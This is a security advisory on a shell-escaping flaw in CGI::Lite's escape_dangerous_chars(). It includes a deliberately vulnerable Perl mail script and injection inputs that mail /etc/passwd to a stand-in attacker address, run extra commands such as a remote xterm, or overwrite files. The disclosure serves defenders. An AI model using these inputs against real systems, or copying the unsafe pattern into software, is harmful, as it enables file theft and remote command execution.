|
COMMAND CGI::Lite::escape_dangerous_chars() permits remote compromise SYSTEMS AFFECTED CGI::Lite 2.0 package, and earlier revisions PROBLEM In Ronald F. Guilmette [rfg@monkeys.com] advisory : --snip-- Although poorly documented, the CGI::Lite::escape_dangerous_chars() function appears to be a function whose purpose is to modify an input character string in a way so that ``dangerous'' characters which might otherwise have special significance to an underlying shell command processor will each be preceded by a backslash (escape) character in the resulting output string. The intent is clearly to convert possibly dangerous user input strings into benign forms that, when provided as command line arguments to an underlying shell command processor, will not have any undesirable and/or unanticipated effects. (The classical example is the semi- colon character, which acts as a command separator for most UNIX and/or Linux shell command processors.) It is reasonable to believe that CGI::Lite::escape_dangerous_chars() has, in all probability, been used for exactly this purpose (i.e. rendering user input strings ``harmless'' in advance of their being provided, as arguments, to an underlying shell processor) in many existing Perl CGI scripts. Unfortunately, CGI::Lite::escape_dangerous_chars() fails to escape many of the characters mentioned as possibly dangerous characters in the WWW security FAQ (Question 7), specifically: \ - backslash ? - question mark ~ - tilde ^ - carat \n - newline \r - carriage return Note that all or most of these character _do_ in fact have special meaning, when presented as parts of command line arguments to various UNIX and/or Linux shell command processors (and, I suspect, probably MS Windows shell command line processors also). Below is a trivially simple example of how this security flaw can cause a problem, in practice: ===================================================================== #!/usr/bin/perl -w use strict; use CGI::Lite; my $cgi = new CGI::Lite; my %form = $cgi->parse_form_data; my $recipient = $form{'recipient'}; my $message = "From: sender\nSubject: Hello\n\nHello my friend!\n\n"; $recipient = escape_dangerous_chars ($recipient); open (SM, "|/usr/sbin/sendmail -f rfg $recipient"); print SM $message; close SM; print "Content-Type: text/html\n\n"; print "<HTML>\n"; print "<HEAD></HEAD>\n"; print "<BODY>\n"; print "Thank you. Your request has been processed\n"; print "</BODY>\n"; print "</HTML>\n"; ===================================================================== The Perl CGI script above might be constructed to act as the back-end (CGI) handler for a simple web page that allows a web visitor to enter his/her e-mail address into a text field on the form, and thereby trigger the automated sending of some pre-canned (or dynamically computed) e-mail message to the user-supplied e-mail address. Note that the escape_dangerous_chars function is used to ``sanitize'' the user-supplied input string before it is used as an argument to the Perl open function. Unfortunately, the fact that escape_dangerous_chars fails to properly backslash-escape any backslash characters contained in its input string has very serious security consequences for the simple CGI script shown above. Consider what would happen if a web visitor entered the string: attacker@example.com \</etc/passwd Note that after escape_dangerous_chars is applied to this user input, the resulting string will be attacker@example.com \\</etc/passwd and that exact string will be passed to the underlying shell command processor via the Perl open call. The unfortunate result of this sequence of events would be that a copy of the local password file would be e-mailed, both to <attacker@example.com> and also to the (almost certainly non-existent) local user whose user-id is a single backslash character. (Most UNIX/Linux shells will see the \\ as a single backslash-escaped backslash character. That single backslash character will then be treated as being just another member of the list of destination e-mail addresses for the outgoing e-mail message by sendmail.) In this example, the account, if any, to which e-mail addresses to the (non-existent?) local user-id '\' is directed will vary, depending upon whether one is using ``real'' Sendmail or, as I do, a mostly compatible Sendmail clone (Postfix). It may also depend, of course, on how exactly the local mail server has been configured. E-mail sent to the local user '\' may in some cases be automatically re- directed to the `nobody' account, which is to say to /dev/null, in which case no local user or administrator would have any idea that anything untoward or undesirable had even taken place. Regardless of where the _second_ copy of the e-mail message goes however, the damage has already been done... <attacker@example.com> _will_ be e-mailed a copy of the local password file... or any other attacker-selected file residing on the exploited system. Other similar (but perhaps even more damaging) kinds of exploits are also possible, for example: attacker@example.com\|other-command or perhaps: attacker@example.com\;other-command where `other-command' is `xterm' followed by a set of arguments needed to start up a remotely-accessible xterm window. Also, depending on permissions, local files on the exploited machine could be created or overwritten, e.g. via: attacker@example.com\>/tmp/new-file attacker@example.com\>/tmp/unprotected-file SOLUTION One possible fix for this problem is simple and obvious. The escape_dangerous_chars could be hacked to include, in the set of characters that it will escape, the backslash character and other special characters from the complete set of ``dangerous'' characters as documented in the WWW Security FAQ. (A patch which effects this change is available from the author of this advisory upon request.) The advisability of this specific ``quick and dirty'' fix has been questioned by multiple parties however. (Some say that it would better to list the set of characters which are safe to NOT escape, and then just have the function escape every character that is NOT in that ``safe'' character set.)